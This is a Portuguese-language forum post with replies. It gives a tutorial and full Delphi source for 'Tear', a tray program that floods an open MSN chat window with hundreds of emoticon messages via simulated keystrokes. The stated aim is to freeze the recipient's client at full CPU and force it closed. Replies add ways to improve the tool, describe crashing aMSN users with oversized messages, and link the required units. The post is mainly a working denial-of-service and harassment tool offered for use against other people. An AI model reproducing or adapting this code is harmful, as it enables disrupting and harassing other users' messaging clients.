ola garotos
Bem , eu venho ate vcs hj demonstrar como fazer um pequeno flood de
msgs no MSN , feito em Delphi
o resultado do flood , segundo os testes q fiz é:
* um congelamento do MSN , elevando o consumdo de CPU para 100 % , ou seja , travando o programa e obrigando o alvo a fecha-lo
O Q VC PRECISA PRA FAZER ?
1- Delphi 7
2- Unit SndKey32.pas (encontrada facilmente na net)
INSTALANDO A SNDKEY32.PAS
1- ponha a unit na pasta do seu Delphi , e acrescente um caminho para a
mesma no seu Library clicando em :
Tools/Enviroment Options/library
e acrescente o caminho da unit em Library Path
MODIFICANDO A UNIT SNDKEY32.PAS
pra enviar o flood , precisamos gerar um smile , aquela da carinha
chorando
o codigo seria este aqui
:'(
entao vc vai abrir a sndkey32.pas e procurar o trecho de codigo a
seguir
linha 356 do codigo:
While (I<L) do begin
case SendKeysString[I] of
{ '(' : begin
UsingParens := True;
Inc(I);
end; }
perceba q eu comentei este trecho de codigo , e exatamente isso q vc
tem q fazer pra dar certo ok , depois e so salvar tudo
VAMOS CODAR ?
bem , acrescente na Uses
Uses sndkey32.pas
a primeira coisa q vamos fazer e descobrir se tem uma janela de
conversa do MSN ativa
isso nos vamos fazer assim
//procura janela de conversa no msn
h := FindWindow('IMWindowClass',nil);
//se nao encontrar , sai da funçao
if h = 0 then
begin
Exit;
end;
facil ne ?
se a janela for encontrada , vamos colocar ela em foco assim :
//coloca a janela em foco
SetForeGroundWindow(h);
depois o q temos q fazer ?
criar a msg q vai ser enviada , no caso um monte de smiles
//cria msg do flood
for i := 0 to 500 do
begin
txt := txt + ':''' + #40;
end;
tranquilo ate aqui ?
depois de :
* encontrada a jenela de bate papo
* criada a msg
vamos envia-la ne ? uma vez ? nao ! 1000 vezes !! hehehehehhe
//envia texto
SendKeys(PChar(txt + '{ENTER}'),true);
Sleep(3000);
a funçao SendKeys() é a responsavel pela brincadeira , ela vai
enviar o texto e simulando o pressinamento da tecla enter
ok ?
no mais e so isso muito simples nao ?
CODIGO COMPLETO
codigo fonte pra vcs estudarem e adaptarem , favor manter os creditos
originais
{ Tear by OnlyOne
***********************************************************************
********}
unit main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls,
Forms,
Dialogs, ExtCtrls, Menus, CoolTrayIcon,
IdBaseComponent,IdThreadComponent,
sndkey32;
//Classes
*********************************************************************/
type
Tte = class(TForm)
painel1: TPanel;
tray: TCoolTrayIcon;
thread: TIdThreadComponent;
menu: TPopupMenu;
menu_Sair: TMenuItem;
menu_ComecarFlood: TMenuItem;
menu_PararFlood: TMenuItem;
procedure menu_SairClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure MsnFlood();
procedure menu_ComecarFloodClick(Sender: TObject);
procedure threadRun(Sender: TIdCustomThreadComponent);
procedure menu_PararFloodClick(Sender: TObject);
end;
//Variaveis
*******************************************************************/
var
te : Tte;
h : HWND;
control : Boolean = false;
//Metodos
*********************************************************************/
implementation
{$R *.dfm}
//fecha programa * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * /
procedure Tte.menu_SairClick(Sender: TObject);
begin
Application.Terminate;
end; //end of Tte.menu_SairClick
//ao criar o form principal * * * * * * * * * * * * * * * * * * * * * *
* * * */
procedure Tte.FormCreate(Sender: TObject);
begin
//configura tray
tray.Enabled := true;
tray.IconVisible := true;
tray.MinimizeToTray := true;
tray.Hint := 'Tear';
tray.ShowHint := true;
tray.PopupMenu := menu;
tray.LeftPopup := false;
//msg de saudaçao
tray.ShowBalloonHint('Tear by OnlyOne','Seja bem vindo',bitinfo,10);
end; //end of Tte.FormCreate
//envia flood de msgs * * * * * * * * * * * * * * * * * * * * * * * * *
* * * */
procedure Tte.MsnFlood();
var i : Integer;
txt : String;
begin
//cria msg do flood
for i := 0 to 1000 do
begin
txt := txt + ':''' + #40;
end;
//envia flood
for i := 0 to 500 do
begin
//verifica se e para terminar flood
if control = true then Exit;
//procura janela de conversa no msn
h := FindWindow('IMWindowClass',nil);
//se nao encontrar , sai da funçao
if h = 0 then
begin
tray.ShowBalloonHint('Tear','Você não esta conversando
!',bitinfo,10);
Exit;
end;
//coloca a janela em foco
SetForeGroundWindow(h);
//envia texto
SendKeys(PChar(txt + '{ENTER}'),true);
Sleep(3000);
end;//for
end; //end of Tte.MsnFlood
//inicia o processo de flood * * * * * * * * * * * * * * * * * * * * *
* * * * /
procedure Tte.menu_ComecarFloodClick(Sender: TObject);
begin
//ativa thread
thread.Active:= true;
tray.ShowBalloonHint('Tear','Flood ativado',bitinfo,10);
end; //end of Tte.menu_ComecarFloodClick
//funçao da thread * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * /
procedure Tte.threadRun(Sender: TIdCustomThreadComponent);
begin
MsnFlood();
thread.Active := false;
control := false;
end; //end of Tte.threadRun
//para o flood * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * /
procedure Tte.menu_PararFloodClick(Sender: TObject);
begin
control := true;
tray.ShowBalloonHint('Tear','Flood desativado',bitinfo,10);
end; //end of Tte.menu_PararFloodClick
end.
lembrando q aqui tb foi usado o componente CoolTrayIcon (tb encontrado
na net)
bom , e isso , espero q tenham gostado e q seje util pra vcs
faça flood com moderaçao , hehehehehehehehehhe
OnlyOne [SINAPSE]
cara nao consegui instalar este Cool Tray Icon, todos que eu peguei nao funfa no delphi 7
OnlyOne, vc pode usar a KeyBD_Event da uses Windows pra enviar as teclas, é bem melhor, no Xtreme Component eu coloquei ficou legal ^^
Nossa legal obrigado ehehe
Na versão 0.96 do aMSN dá para travar o micro da pessoa. Mesmo não sendo um flood, a intenção é a mesma (derrubar).
Não sei se na versão de windows é possível, mas na de Linux basta enviar uma mensagem enorme (que tal uns 5000 caracteres?) para o alvo e pronto. O aMSN não tem limite de caracteres para enviar, e na maioria das vezes a net da vítima trava e ela cai. Basta apenas copiar um texto grande e ficar com o ctrl+v pressionado ^^
Mas é claro que eu acho esse método do Delphi bem mais profissional que apenas ficar colando mensagens grandes =)
Algo para os preguiçosos =P
Cool Tray Icon:
http://subsimple.com/download/CoolTrayIcon.zip (//http://subsimple.com/download/CoolTrayIcon.zip)
Unit SndKey32.pas
http://home.conceptsfa.nl/~gvdvenis/downloads/sndkey32.pas (//http://home.conceptsfa.nl/~gvdvenis/downloads/sndkey32.pas)